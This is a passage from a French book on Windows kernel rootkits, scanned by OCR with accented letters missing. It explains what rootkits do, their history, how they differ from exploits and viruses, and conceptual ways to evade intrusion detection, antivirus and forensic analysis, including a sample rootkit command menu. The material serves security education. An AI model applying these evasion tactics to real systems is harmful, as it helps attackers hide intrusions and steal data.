acqurir une base de connaissances et de comptences que vous pourrez ensuite
dvelopper.

Raison d'tre des rootkits


Les rootkits sont une invention rcente, mais lespionnage est un art ancien, aussi
vieux que la guerre. Ils existent pour les mmes raisons que les microphones espions
existent : certaines personnes souhaitent voir ou contrler ce que dautres font. Avec la
dpendance accrue de nos socits par rapport aux informations, les ordinateurs sont
devenus des cibles naturelles.
Un rootkit nest utile que dans une situation o une voie daccs au systme touch
doit tre maintenue. Lorsquun attaquant souhaite simplement semparer de donnes et
partir, il na aucune raison de vouloir laisser un rootkit qui lexposerait de plus au
risque dtre dtect. En se contentant de subtiliser des donnes et de nettoyer les
traces de son passage, son action passera inaperue.
Un rootkit fournit deux fonctions principales : le contrle distance et lcoute, ou
interception, logicielle.

Contrle distance
Le contrle distance comprend diverses actions, telles que contrler des fichiers,
provoquer le redmarrage du systme ou son plantage avec apparition de lcran bleu
(Blue Screen ofDeath), accder linterprteur de commandes (par exemple

16 Rootkits

Infiltrations du noyau Windows

cmd.exe ou /bin/sh). La Figure 1.1 illustre un exemple de menu de commandes dun


rootkit.
Figure 1.1
Exemple de menu
de commandes
d'un rootkit de noyau.

Win2K Rootkit by the team rootkit.com


Version 0.4
alpha
command

description

ps
help

show process list


this data

buffertest
hidedir

debug output
hide prefixed file or directory

hideproc
debugint

hide prefixed processes


(BSOD)fire int3

sniffkeys
cho <string>

toggle keyboard sniffer


cho the given string

*"(BSOD)" means Blue Screen of Death


if a kernel debugger is not prsent!
*uprefixed means the process or filename
starts with the letters '_root_'.
*"sniffer" means listening or monitoring software.

Interception logicielle
Lcoute, ou interception, logicielle fait partie de lactivit de surveillance des
utilisateurs. Elle peut comprendre la capture de paquets du rseau, lenregistrement de
la frappe au clavier et la lecture des e-mails. Un attaquant peut utiliser ces techniques
pour subtiliser des mots de passe ou mme des cls de chiffrement.
Guerre lectronique
Les rootkits trouvent leur emploi dans la guerre lectronique, mais ils n'en sont pas la
premire incarnation.
Des guerres sont engages sur de nombreux fronts, et celle de l'intelligence conomique n'est
pas des moindres. Depuis la fin de la Deuxime Guerre mondiale jusqu' la fin de la guerre
froide, l'Union sovitique avait organis une opration de collecte de renseignements
grande chelle pour s'emparer de technologies1.
1. G. Weiss, "The Farewell Dossier" (Washington : CIA, Centre dtude des informations, 1996), disponible sur
www.cia.gov/csi/studies/96unclass/farewell.htm.

Chapitre 1

Ne laisser aucune trace 17

Aprs avoir t renseign par la France et avoir identifi certaines des activits clandestines
sur leur sol, les Etats-Unis ont introduit des plans, des logiciels et des renseignements
fallacieux dans le canal d'acheminement. Un incident rapport indique que des modifications
logicielles (les "ingrdients supplmentaires" prvus par la CIA) auraient t l'origine de
l'explosion d'un pipeline de gaz en Sibrie 1. L'incident alors photographi par des satellites
avait t dcrit comme tant "l'explosion non nuclaire et l'incendie les plus gigantesques
jamais enregistrs depuis l'espace"* 2.

Emplois lgitimes des rootkits


Comme dj introduit plus haut, les rootkits peuvent tre utiliss des fins lgitimes.
Par exemple, ils peuvent servir collecter des preuves lors doprations dinterception
avances mises en uvre dans le cadre de lexercice de la loi. Ceci serait applicable
dans nimporte quel crime impliquant lusage dun ordinateur, tel que lintrusion sur
des systmes informatiques, la cration ou la distribution de contenus illicites (par
exemple des photographies pdophiles), le piratage de produits protgs (tels des
logiciels, de la musique, etc.) ou toute violation de la DMCA 3.
Les rootkits peuvent galement tre utiliss lors de conflits entre nations. Les pays et
leurs armes sappuient fortement sur leurs systmes informatiques. Si ces ordinateurs
taient dfaillants, leurs cycles de dcision et leurs oprations sen trouveraient
affects. Une attaque au moyen dun ordinateur, par opposition une attaque
conventionnelle, prsente de nombreux avantages : cots infrieurs, vies humaines
pargnes, peu de dommages collatraux, et, dans la plupart des cas, les dommages ne
sont pas permanents. Par exemple, si un pays bombarde des sites de ressources
nergtiques, la reconstruction des installations ncessitera des investissements
colossaux. Si un ver logiciel infecte le rseau de contrle de la distribution nergtique
et le dsactive, le pays touch perd lusage des ressources mais les dommages ne sont
ni permanents ni dmesurment coteux.

L. Lexplosion aurait t provoque par une sorte de compromission logicielle.


2. D. Hoffman, "Cold War hotted up when sabotaged Soviet pipeline went off with a bang", Sydney Morning
Herald, 28 fvrier 2004.
3. Le Digital Millenium Copyright Act de 1998, PL 105-304, 17 USC 101 et seq.

18 Rootkits

Infiltrations du noyau Windows

Un bref historique
Les rootkits ne sont pas un concept rcent. En fait, nombre des techniques quils
utilisent sapparentent celles qui taient implmentes dans les virus vers la fin des
annes 1980, par exemple modifier les tables systme, les donnes en mmoire ou le
flux dexcution ; le but tait alors dviter la dtection par les scanners de virus (
cette poque, linfection se faisait principalement par lintermdiaire de disquettes et
des serveurs BBS).
Lors de lintroduction de Windows NT, le modle de mmoire a chang pour que les
programmes utilisateur ne puissent plus modifier les tables systme. Il sensuivit alors
une priode daccalmie en matire de technologie de virus car aucun auteur nutilisait
le nouveau noyau Windows.
Lorsquil a commenc prendre de lampleur, le rseau Internet tait domin par les
systmes dexploitation Unix et les virus ntaient pas aussi rpandus. Cest toutefois
cette poque que sont apparus les premiers vers de rseau. Aprs lincident du ver
Morris, la communaut informatique prit conscience de lexistence des exploitations
de failles logicielles1, appeles "exploits" Ndt : le terme "exploit", tel quil est
utilis dans ce contexte, se rapporte aussi bien une vulnrabilit quau code
permettant de lexploiter. Au dbut des annes 1990, beaucoup de hackers ont compris
comment tirer parti des dbordements de tampon, la "bombe nuclaire" de tous les
exploits. En revanche, les auteurs de virus ont continu rester calmes pendant prs
dune dcennie.
A cette poque, un hacker pntrait un systme, installait son camp puis sen servait
pour initier dautres attaques. Aprs lintrusion, il devait conserver un accs au
systme. Cest ainsi que naquirent les premiers rootkits. Il sagissait alors de simples
programmes backdoor qui nutilisaient que peu dingrdients pour la furtivit. Ils
opraient parfois en remplaant les fichiers systme cls par des versions altres qui
permettaient le masquage de fichiers et de processus. Par exemple, considrez le
programme ls qui liste les fichiers et les rpertoires. Un rootkit de premire gnration
laurait remplac par une version troyenne qui aurait permis de dissimuler un fichier
cr avec un certain nom, comme hack_x. Ensuite, lattaquant aurait stock ses
donnes suspectes dans ce fichier et le programme ls modifi aurait vit quil
apparaisse lors dun listage.

1. Robert Morris a t lauteur du premier ver Internet recens. Pour un compte rendu de lvnement, consultez
K. Hafner et J. Markoff, Cyberpunk: Outlaws and Hackers on the Computer Frontier (New York : Simon a
Schuster, 1991).

Chapitre 1

Ne laisser aucune trace 19

La contre-attaque de la part des administrateurs systme a t alors dcrire des


programmes tels que Tripwire (www.tripwire.org) qui pouvaient rvler si des fichiers
avaient subi des changements. En reprenant notre exemple prcdent, Tripwire aurait
pu examiner ls et dtecter son altration.
La rponse naturelle des hackers a t de pntrer le noyau. Les premiers rootkits de
noyau ont t dvelopps pour les machines Unix. A cette poque, ils pouvaient
compromettre nimporte quel utilitaire de protection. Ainsi, les troyens ntaient plus
ncessaires et tout laspect furtif devenait contrlable en modifiant le noyau. Cette
technique ntait pas diffrente de celles voques prcdemment pour les virus la fin
des annes 1980.

Fonctionnement d'un rootkit


Les rootkits emploient un concept simple appel modification. En gnral, un logiciel
est conu pour prendre certaines dcisions daprs des donnes trs spcifiques. Un
rootkit identifie et modifie un logiciel pour quil fasse des choix incorrects.
Il y a de nombreux endroits o ce genre de modification peut tre accompli. Certains
dentre eux seront voqus dans les paragraphes qui suivent.

Le patching
Le code excutable, appel aussi un (fichier) binaire, se compose dune srie
dinstructions codes sous forme doctets de donnes. Ces octets se suivent selon un
ordre spcifique, et ils ont une signification pour lordinateur. La logique dun
programme peut tre modifie si lon change certains des octets qui le composent.
Cette technique est parfois appele le patching. Un programme nest pas intelligent, il
fait exactement ce quon lui dit de faire et rien dautre. Cest la raison pour laquelle la
modification est un procd qui fonctionne bien. En fait, cela nest pas vraiment
difficile. Le patch doctets est lune des principales techniques utilises par les crackers
pour contourner les protections des logiciels ou pour tricher avec des jeux vido et
soctroyer des avantages illimits.

Les ufs de Pques


Les modifications de la logique dun programme peuvent aussi tre "intgres". Un
programmeur peut ajouter une porte drobe lors du dveloppement. Le code
pernicieux ne fait alors pas partie de la conception documente ou, dit autrement, il
sagit dune fonctionnalit cache. Il existe des modifications de logique intgres

20 Rootkits

Infiltrations du noyau Windows

inoffensives, connues sous le nom dufs de Pques, par lesquelles lauteur (ou
lquipement de dveloppement) du programme laisse quelque chose en guise de
signature. Les premires versions de Microsoft Excel, par exemple, contenaient un uf
de Pques qui permettait lutilisateur qui le dcouvrait de jouer un jeu de tir en 3D,
semblable Doom1, partir dune feuille de calcul.

Modification de type spyware


Parfois, un programme en modifie un autre pour linfecter avec un spyware, ou
programme espion. Ce type de programme peut, par exemple, suivre la navigation de
lutilisateur sur le Web pour connatre les sites quil visite. A linstar des rootkits, ce
sont des lments difficiles dtecter. Certains viennent se greffer dans le navigateur
ou le shell, compliquant ainsi leur radication. Ils crent aussi parfois de faon sauvage
des liens sur le bureau vers des sites commerciaux. Ce comportement incontrlable
ennuie lutilisateur et lui rappelle surtout que son navigateur nest pas du tout scuris1
2
.

Modification du code source


Des changements dans la logique dun programme peuvent aussi tre apports
directement au niveau du code source. Un programmeur peut ainsi insrer des lignes de
code malveillantes. Cest la raison pour laquelle certaines applications militaires
vitent le recours des logiciels dvelopps en open source, tels que Linux. Un projet
conu de cette faon autorise thoriquement nimporte qui intgrer des modifications
au code source. Certes, dans le cas de programmes importants, tels que BIND, Apache
ou Sendmail, un certain contrle est ralis par les collaborateurs au projet. Mais les
rviseurs analysent-ils rellement le code ligne par ligne ? Si cest le cas, ils semblent
ne pas le faire trs correctement en ce qui concerne la recherche des failles de scurit.
Imaginez quun programme backdoor soit implment sous forme dun bug dans un
logiciel. Le dveloppeur malveillant pourrait dessein exposer le logiciel un
dbordement de tampon. Dissimule sous forme de bug, cette vulnrabilit serait
difficile reprer et offrirait au programmeur une possibilit de nier son mfait de
manire plausible.

1. Voir www.eggheaven2000.com. une base de donnes des curiosits logicielles et des ufs de Pques.
2. De nombreux navigateurs sont la proie de spyware, et, bien sr, Microsoft Internet Explorer est lune des
cibles les plus vises.

Chapitre 1

Ne laisser aucune trace 21

Vous pourriez lgitimement penser que vous pouvez faire confiance toutes ces
personnes qui dveloppent le logiciel que vous utilisez. Aprs tout, leurs comptences
sont, quelques degrs prs, proches de celles de Linus Torvalds1, en qui vous avez
entire confiance. Cest lgitime. Mais faites-vous aussi confiance aux administrateurs
systme qui grent les serveurs de contrle et de distribution du code source ? Il existe
des cas dattaques o les intrus ont pu accder au code. Un cas important de
compromission sest produit lorsque les serveurs FTP racines du projet GNU (gnu.org)
code source du systme dexploitation GNU bas sur Linux ont t compromis en
20031 2. Les altrations dun code source peuvent chouer dans des centaines de
distributions de logiciels et sont extrmement difficiles identifier. Mme le code
source doutils de professionnels en scurit informatique a t dtourn de cette
faon3.

Illgalit des modifications d'un logiciel


Certaines formes de modifications enfreignent directement la loi. Par exemple, si vous
utilisez un programme pour modifier un logiciel afin de passer outre les mcanismes
de protection des droits dauteur, vous serez certainement en violation avec la loi. Cela
sapplique donc nimporte quel programme de crack de logiciel, par exemple pour
supprimer la limite de temps impose par les versions dessai de logiciels.

Ce qu'un rootkit n'est pas


Nous avons introduit les caractristiques gnrales dun rootkit ainsi que les
techniques sous-jacentes son fonctionnement. Vous avez une ide de la puissance
quil offre en tant quinstrument dune bote outils de hacker. Nous allons maintenant
voir ce quun rootkit nest pas.

1. Linus Torvalds est le crateur de Linux.


2. CERT Advisory CA-2003-21, disponible www.cert.org/advisories/CA-2003-21.html.
3. Par exemple, le site monkey.org de D. Song a t compromis en mai 2002 et les outils hbergs, tels que
Dsniff, Fragroute et Fragrouter, ont t contamins. Voir "Download Sites Hacked, Source code
Backdoored", SecurityFocus, sur www.securityfocus.com/news/462.

22 Rootkits

Infiltrations du noyau Windows

Un rootkit n'est pas un exploit


Un rootkit peut tre utilis conjointement un exploit (rappel : vulnrabilit et code
dexploitation de la vulnrabilit), mais le rootkit est en lui-mme un jeu de
programmes simples. Ceux-ci font usage de fonctions et de mthodes non
documentes, mais ils ne dpendent pas spcifiquement de bugs logiciels, tel un
dbordement de tampon.
Un rootkit est gnralement dploy aprs lexploitation russie dune faille logicielle.
Les hackers ont souvent une malle aux trsors pleine dexploits disponibles, mais ils
nont souvent quun ou deux rootkits porte de main. Indpendamment de lexploit
mis en uvre, une fois lintrusion russie, lattaquant dploie sur le systme le rootkit
appropri.
Bien quun rootkit ne soit pas un exploit, il peut toutefois intgrer du code pour
exploiter une faille spcifique. Un rootkit requiert gnralement laccs au noyau et
contient un ou plusieurs programmes qui sont lancs lorsque le systme dmarre. Il
nexiste quun nombre limit de mthodes permettant dinjecter du code dans le noyau,
par exemple en tant que driver de priphrique. Nombre de ces mthodes peuvent tre
dtectes par une analyse forensique.
Une nouvelle faon dinstaller un rootkit est aussi de recourir lexploit logiciel.
Beaucoup dexploits autorisent linstallation dun code ou dun programme tiers.
Imaginez un bug dans le noyau provoquant un dbordement de tampon (des bugs de
cette nature ont t rapports) permettant lexcution dun code arbitraire. Un
dbordement de tampon peut se produire dans pratiquement nimporte quel driver, par
exemple celui dune imprimante. Au dmarrage du systme, un programme loader
peut charger un driver/rootkit. Il nemploie pour cela pas de mthodes documentes
mais exploite la place le dbordement de tampon. Il installe ainsi les parties du
rootkit qui fonctionnent en mode noyau.
Le dbordement de tampon est considr par la plupart des gens comme tant un bug.
Un dveloppeur de rootkit le traitera comme une fonctionnalit non rpertorie lui
permettant de charger du code dans un noyau. Ntant pas documente, cette voie
daccs au noyau ne sera probablement pas incluse dans une investigation forensique.
Plus important encore, elle ne sera pas intercepte par un programme pare-feu install
sur lhte. Seule une personne comptente en rtro-ingnierie aura des chances de la
dcouvrir.

Chapitre 1

Ne laisser aucune trace 23

Un rootkit n'est pas un virus


Un virus est un programme automate capable dautopropagation, ce qui lui confre une
certaine indpendance. A linverse, un rootkit ne se reproduit pas et ne possde pas
cette forme dautonomie. Il fonctionne sous le contrle dune personne.
Dans la plupart des cas, il serait dangereux, et stupide, pour un attaquant dutiliser un
virus lorsquil souhaite procder une infiltration furtive. Au-del du fait que la
propagation de virus est une activit illicite, la plupart des virus ou des vers ont un
fonctionnement qui chappe au contrle et laisse des traces. En revanche, le rootkit
permet lattaquant de garder la matrise des oprations. Dans le cas dune pntration
autorise (par exemple sous le contrle de certaines instances), lattaquant doit
sassurer que seules certaines cibles sont touches, sous peine de violer la loi ou de
sortir des limites de lopration autorise. Ce genre dactions ncessite des contrles
stricts, et il est hors de question de recourir un virus.
Il est possible de concevoir un virus ou un ver se propageant via des exploits logiciels
et qui ne soit pas dtect par un systme de dtection dintrusion, ou IDS (.Intrusion
Dtection System), par exemple avec un exploit zero-day1. Un tel ver pourrait se
propager trs lentement et tre trs difficile dtecter. Il peut avoir t test dans un
laboratoire bien quip reproduisant lenvironnement cibl. Il peut inclure une
restriction de porte (area ofeffect) pour lempcher de gagner des territoires hors
contrle. Il peut aussi sagir dun programme dot dun temporisateur (.land-mine
timer) qui provoque sa dsactivation aprs une certaine priode, prvenant ainsi tout
problme une fois la mission termine. Nous aborderons les systmes de dtection
dintrusion plus loin dans ce chapitre.
Le problme du virus

Mme si un rootkit nest pas un virus, les techniques quil emploie peuvent tre
utilises par ces derniers. Un rootkit combin un code de virus produit une
technologie trs dangereuse.
Le monde a dj vu ce que les virus peuvent faire. Certains virus ont infect des
millions dordinateurs en quelques heures.
Lun des systmes dexploitation les plus connus, Microsoft Windows, est connu pour
comporter dinnombrables bugs qui permettent aux virus de contaminer les ordinateurs
travers Internet. La plupart des hackers malveillants ne rvleront pas

1. Un exploit zero-day est une faille qui vient dtre dcouverte et pour laquelle il nexiste pas encore de
correctif.

24 Rootkits

Infiltrations du noyau Windows

au fabricant les bugs dcouverts. Un bug exploitable qui touche la structure


dinstallation par dfaut de la plupart des ordinateurs Windows est pour le hacker "la
cl du royaume". Aviser le fabricant serait lui remettre cette cl.
Comprendre la technologie du rootkit est galement dcisif pour bien se dfendre
contre les virus. De nombreux programmeurs de virus lemploient dj depuis
plusieurs annes. Cest une tendance dangereuse. Des algorithmes ont t publis pour
permettre une propagation virale1 sur des centaines ou des milliers de machines en
lespace dune heure. Les vulnrabilits exploitables distance dans Windows sont
loin dtre puises. Les virus qui emploient la technologie du rootkit seront plus
difficiles dtecter et contrer.

Rootkits et exploits logiciels


Lexploitation des vulnrabilits logicielles est un sujet important dans le cadre dune
tude des rootkits. Ce livre ne vous aidera pas comprendre comment la protection des
logiciels est contourne. Si ce sujet vous intresse, nous vous recommandons le livre
Exploiting Software1 2.
Comme voqu plus haut, un rootkit peut tre employ dans le cadre dun outil
dexploit (par exemple dans un virus ou un spyware).
La menace que constituent les rootkits est renforce par le fait que les exploits logiciels
existent en grand nombre. Par exemple, nous pouvons raisonnablement estimer plus
dune centaine le nombre de failles exploitables dans la dernire version de Windows 3.
Pour la plus grande part, elles sont connues de Microsoft et sont lentement tudies par
un systme dassurance qualit et de recherche de bugs 4. Lorsquelles sont identifies,
elles sont corriges et silencieusement patches5.

1. N. Weaver, "Wharhol Worms: The Potential for Very Fast Internet Plagues", disponible sur
www.cs.berkeley.edu/~nweaver/warhoI.html.
2. G. Hoglund et G. McGraw, Exploiting Software.
3. Nous ne pouvons prouver cette estimation mais cest une supposition raisonnable drive de notre
connaissance du problme.
4. La plupart des diteurs de logiciels emploient des mthodes similaires pour rechercher et corriger les bugs
dans leurs produits.
5. "Une faille "silencieusement patche" est un bug corrig par lintermdiaire dune mise jour logicielle,
mais le fabricant ninforme jamais le public ou les clients de son existence. Il est pour ainsi dire trait
comme un secret et personne nen parle. Cest en fait une pratique courante de la part de nombreux grands
fabricants.

Chapitre 1

Ne laisser aucune trace 25

Certains bugs exploitables sont identifis par des chercheurs indpendants et ne


sont jamais communiqus au fabricant du logiciel en question. Ils sont destructeurs
car personne nest au courant except lattaquant qui lexploite. Dans ce cas, il y a
peu de mesures de protection possible, ou aucune ; aucun patch, ou correctif, nest
disponible.
De nombreuses failles publiquement rvles depuis plus dun an sont toujours
largement exploites. Mme si les correctifs sont disponibles, la plupart des administrateurs ne les appliquent pas en temps voulu. Cest une attitude particulirement
dangereuse. Mme si une vulnrabilit rapporte ne fait pas encore lobjet dattaques, car, par exemple, le code dexploitation nest pas encore disponible, ce nest
quune question de temps. Quelques jours suffisent pour quun exploit soit publi
aprs un rapport de faille ou lannonce de la disponibilit dun correctif.
Bien que Microsoft prenne le problme trs au srieux, lintgration des changements
ncessaires dans le cas dun gros systme dexploitation ncessite des moyens et un
temps considrables.
Lorsquun chercheur rapporte un nouveau bug Microsoft, il lui est gnralement
demand de ne pas diffuser publiquement des informations son sujet. Certains
bugs ne sont pas corrigs avant plusieurs mois aprs leur date de notification.
Daucuns avancent que le maintien au secret des bugs encourage Microsoft prendre son temps pour publier les patchs de scurit. Tant que le public nest pas au
fait, la socit nest pas incite se presser. Pour pallier cette tendance, le spcialiste en scurit eEye a labor une mthode intelligente pour rendre publiques les
informations de vulnrabilits critiques tout en ne divulguant pas les dtails.
La Figure 1.2, provenant du site de la socit eEye (www.eEye.com), illustre un
rapport de bug typique. Il indique la date de notification au fabricant et le nombre de
jours de dpassement du correctif attendu sur la base dun dlai de livraison opportun estim 60 jours. Comme nous lavons vu dans la pratique, les plus grands
fabricants prennent plus de temps que cela. Traditionnellement, il semble que les
seules fois o un correctif a t publi sous quelques jours pour une faille sont
lorsquun ver Internet est introduit pour en tirer parti.
Figure 1.2
Rapport de scurit
pralable diffus
par eEye.

EEYEB-20040802-C

Vendor: Microsoft
Severity: High (Remcte Code Execution) Date Reported: August 02, 2004 Days
Since Initial Report:
Day 30 60 120

60
Days Overdue

26 Rootkits

Infiltrations du noyau Windows

Pourquoi les exploits posent-ils toujours problme


Le besoin de scuriser les logiciels est reconnu depuis longtemps. Malgr tout, les
exploits continuent de poser problme. La racine du problme rside dans les logiciels
eux-mmes, qui, pour la plupart, ne sont pas scuriss. Des socits comme Microsoft
ont fait de grands progrs dans lamlioration de la scurit, mais le code du systme
dexploitation est crit en C ou C++, des langages qui, de par leur nature, peuvent
introduire des failles critiques, dont le fameux dbordement de tampon. Ce bug
constitue la vulnrabilit la plus rpandue dans les logiciels actuels. Il a t lorigine
de milliers dexploits. Et il sagit bien dun bug, dun accident qui peut tre corrig 1.
Les exploits par dbordement de tampon finiront par disparatre, mais pas dans un
futur proche. Bien quun programmeur rigoureux puisse crire du code ne prsentant
pas de bug de dbordement de tampon (ceci indpendamment du langage car mme un
programme en langage assembleur peut tre scuris), la plupart des programmeurs ne
sont pas aussi appliqus. La tendance actuelle est lapplication de pratiques de
codage sres et vrifier cela au moyen doutils danalyse de code automatise pour
dtecter les erreurs. Microsoft emploie un jeu doutils internes cet effet 1 2.
Ces outils peuvent identifier certains bugs, mais pas tous. La plupart des logiciels sont
trs complexes et il peut tre difficile de les tester en profondeur dune manire
automatise. Certains peuvent prsenter trop dtats diffrents pour pouvoir les valuer
tous3. En fait, un programme informatique peut mme avoir un potentiel dtats
diffrents suprieur au nombre de particules dans lunivers4. Etant donn cette
complexit, il est trs difficile den valuer le niveau de scurisation.

1. Les bugs de dbordement de tampon ne sont pas un dfaut exclusif du C et du C++, mais ces deux langages
ne facilitent pas certaines pratiques de codage sres. Ils noffrent pas un typage sr (un sujet trait plus loin
dans ce chapitre), ils emploient des fonctions intgres qui peuvent faire dborder les tampons, et ils sont
aussi difficiles dbugger.
2. Par exemple, PREfix et PREfast ont t dvelopps et dploys par Jon Pincus, Microsoft Research (voir
http://research.microsoft.com/users/jpincus/).
3. Un "tat" est comme une configuration interne dans un logiciel. A chaque fois quil ralise une action, son
tat change. La plupart des logiciels ont ainsi un nombre considrable dtats potentiels.
4. Pour comprendre cela, considrez les limites thoriques du nombre de permutations possibles dune chane
de bits. Par exemple, imaginez une application de 160 Mo employant 16 Mo (10 % de sa taille totale) de
mmoire pour stocker ses tats. Ce programme pourrait, thoriquement, avoir un potentiel de 2A16 277 216
tats diffrents qui, en fait, excde de loin le nombre de particules dans lunivers (estim diversement
environ 10A80). Merci Aaaron Bornstein pour cet exemple explicatif.

Chapitre 1

Ne laisser aucune trace 27

Ladoption de langages typage sr, ou fort, tels que Java et C# peut contribuer
amliorer la situation. Ces langages ne garantissent pas une scurit toute preuve,
mais ils rduisent de faon significative les risques de dbordements de tampons, de
bugs de conversion de signe et de dbordement dentiers (voir lencadr "Langages
typage sr"). Malheureusement, ces langages nquivalent pas en performances du C
ou du C++, et la plupart des systmes Windows, mme la dernire version la plus
performante, excutent du vieux code C et C++. Les dveloppeurs de systmes
embarqus ont chang de cap en adoptant des langages typage sr, mais le dcollage
est lent, et les millions de systmes anciens en usage ne seront pas remplacs de sitt.
Ceci signifie que les exploits logiciels continueront encore de svir pendant longtemps.

Langages typage sr
Les langages de programmation typage sr, ou fort, sont plus scuriss en ce qui concerne
certains exploits, tels que le dbordement de tampon.
Sans typage fort, les donnes composant un programme ne seraient qu'un vaste ocan de
bits. Le programme pourrait alors prendre n'importe quel groupe de bits et l'interprter de
multiples faons. Ainsi, si la chane "GARY" tait place en mmoire, elle pourrait ensuite tre
utilise non pas en tant que chane de caractres mais comme un entier de 32 bits, par
exemple 0x47415259 (en hexadcimal) ou 1 195 463 257 (en dcimal), un nombre
relativement grand en fait. Lorsque des donnes fournies par un utilisateur tiers peuvent tre
mal interprtes, un exploit peut tre utilis.
En revanche, des programmes crits dans un langage typage fort, comme Java ou C# 1, ne
convertiraient jamais "GARY" en nombre ; la chane serait toujours traite en tant que texte et
rien d'autre.

Techniques offensives de rootkit


Un rootkit bien conu devrait tre capable de contourner nimporte quelle mesure de
scurit, telle quun systme pare-feu {firewall) ou de dtection dintrusion (IDS,
Intrusion Dtection System). Les systmes de dtection dintrusion sont de deux types :
rseau, appels NIDS {Network IDS), ou hte, appels HIDS {Host IDS). Certains
HIDS sont conus pour stopper les attaques avant quelles ne russissent. Ils offrent
une "dfense active" et prventive, cest pourquoi ils sont aussi qualifis de systmes
de prvention dintrusion, ou HIPS {Host Intrusion Prvention System).

1. C# (pronon "see sharp" ou "C sharp") est un langage diffrent du C ou du C++.

28 Rootkits

Infiltrations du noyau Windows

Pour simplifier, nous utiliserons ce sigle de faon gnrique pour nous rfrer ces
solutions dhte.

Systmes d'hte
La technologie HIPS peut tre conue en interne ou acquise. Voici quelques exemples
de logiciels HIPS :
H Blink (eEye Digital Security, www.eEye.com) ;

IPD (Integrity Protection Driver), Pedestal Software, www.pedestal.com ;


B Entercept (www.networkassociates.com) ;
B Okena StormWatch (maintenant appel Cisco Security Agent, www.cisco.com) ;

a LIDS (Linux Intrusion Dtection System, www.lids.org) ;


H WatchGuard ServerLock (www.watchguard.com).

Pour un rootkit, cest la technologie HIPS qui offre la meilleure contre-attaque. Un


HIPS peut parfois le dtecter pendant quil sinstalle et galement lintercepter
lorsquil communique sur le rseau. Beaucoup de HIPS se fondent sur une technologie
de niveau noyau et peuvent surveiller le systme dexploitation. En bref, un HIPS est
un outil antirootkit. Ceci signifie que tout ce quun rootkit fait sur un systme sera trs
vraisemblablement dtect et stopp. Lorsquun rootkit est utilis contre un systme
protg par un HIPS, lattaquant doit soit contourner le HIPS, soit chercher une cible
plus facile.
Le Chapitre 10 couvre le dveloppement de la technologie HIPS. Il inclut aussi des
exemples de code antirootkit. Le code peut aider comprendre comment un HIPS peut
tre contourn et comment construire son propre systme de protection.

Systmes de rseau
Les NIDS offrent galement une bonne rsistance aux rootkits, mais un rootkit bien
conu peut leur chapper. Bien quen thorie une analyse statistique puisse dtecter les
canaux de communication masqus, cest rarement fait dans la pratique. Les
connexions rseau vers un rootkit emploient vraisemblablement un canal de
communication dissimul dans des paquets lapparence anodine. Tout transfert de
donnes important est chiffr. La plupart des dploiements de NIDS traitent de

Chapitre 1

Ne laisser aucune trace 29

grands flux de donnes, jusqu 300 Mo/s, et le petit filet de donnes en direction dun
rootkit passe inaperu. En revanche, un rootkit utilis conjointement un exploit
connu du public aura plus de chances dtre dtect par un NIDS *.

Contournement d'un IDS/IPS


Pour contourner un systme pare-feu et un systme IDS/IPS, il existe deux mthodes :
lapproche active et lapproche passive. Elles peuvent tre combines pour crer un
rootkit plus robuste. Les ingrdients de lapproche active agissent lors de lexcution
de lopration et visent la prvention de la dtection. En cas de suspicion, lapproche
passive est applique "en coulisse" pour viter un reprage par analyse forensique.
Les attaques actives sont des modifications apportes au matriel et au noyau et visent
infiltrer le systme et tromper le logiciel de dtection dintrusion. Elles prvoient
gnralement certaines mesures pour dsactiver le logiciel HIPS (comme Okena ou
Entercept). Elles sont souvent appliques dans les situations o un logiciel actif en
mmoire cherche dtecter les rootkits. Elles peuvent aussi tre utilises pour rendre
les outils de ladministrateur inaptes la dtection. Une attaque complexe pourrait
rendre inefficace nimporte quel outil de scurit. Par exemple, une attaque active
pourrait dtecter un analyseur de virus et le dsactiver.
Les attaques passives concernent la dissimulation des donnes stockes et transfres.
Par exemple, le chiffrement des donnes avant leur stockage sur le systme de fichiers
en fait partie. Une attaque plus avance consisterait stocker la cl de dchiffrement
dans une mmoire non volatile, telle quune mmoire flash RAM ou EPROM, et non
sur le systme de fichiers. Une autre attaque de ce type serait lemploi dun canal
masqu pour exfiltrer des donnes hors du rseau.
Finalement, un rootkit ne devrait pas tre dtect par un scanner de virus. Un scanner
de vims non seulement opre en temps rel mais peut aussi tre utilis pour scanner un
systme de fichiers "hors ligne". Par exemple, un disque dur peut tre examin sur un
banc danalyse en laboratoire pour y rechercher la prsence de virus. Dans une telle
situation, un rootkit doit tre dissimul au sein du systme de fichiers de manire ne
pas tre repr par le scanner. 1

1. Lors de lemploi dun exploit rpertori, un attaquant peut crer le code de lexploit de manire imiter le
comportement dun ver dj connu, par exemple celui du ver Blaster. Lattaque sera alors interprte par la
plupart des administrateurs de scurit comme tant de simples actions du ver connu, et ils manqueront de
reprer lattaque particulire.

30 Rootkits

Infiltrations du noyau Windows

Contournement des outils d'analyse forensique


Idalement, un rootkit ne devrait jamais tre dtect par une analyse forensique. Le
problme est difficile rsoudre pour lattaquant. Il existe des outils danalyse de
disques durs puissants. Certaines solutions, telles que celles dEncase
(www.encase.com), sont mises en uvre lorsquune contamination est suspecte, alors
que dautres outils, tels que Tripwire, sont utiliss pour sassurer quun systme
demeure libre de toute infection. Dans le premier cas, on recherche le mal, dans le
second, on sassure que tout va bien.
Encase analyse les octets du disque pour rechercher certaines signatures. Cet outil peut
examiner le disque entier et non seulement des fichiers. Lespace non utilis (slack
space) dans les clusters du disque ainsi que les fichiers supprims sont aussi pris en
compte. Pour viter dtre repr, le rootkit doit ne pas comporter de chanes doctets
reconnaissables. Pour cela, lemploi de la stga- nographie peut se rvler une
technique puissante. Le chiffrement peut aussi tre efficace, mais les outils capables de
mesurer le ct alatoire des donnes peuvent identifier les blocs chiffrs. Si le
chiffrement est utilis, la portion du rootkit responsable du dchiffrement doit de toute
faon rester non crypte. Le programmeur du rootkit peut utiliser des techniques de
mutation polymorphique pour camoufler davantage cette portion. La qualit de la
dtection dpend aussi de celui qui pilote loutil. Donc, si un attaquant pense une
mthode de dissimulation qui chappe au technicien effectuant lanalyse, son rootkit
pourrait y chapper.
Les outils qui effectuent un hachage cryptographique sur un systme de fichiers, tels
que Tripwire, recourent une base de donnes de hachage qui doit tre construite
partir dun systme propre. Thoriquement, si une copie dun systme intact (cest-dire une copie du disque dur) a t ralise avant une contamination, une analyse hors
ligne pourra tre effectue pour comparer la nouvelle image du disque lancienne.
Toute diffrence est note. Un rootkit peut constituer lune des diffrences, mais il y
en aura dautres aussi. Un systme en production change avec le temps. Pour viter
dtre dcouvert, un rootkit peut se cacher dans le "bruit" ordinaire du systme de
fichiers. De plus, les outils de ce type nexaminent que les fichiers, et probablement
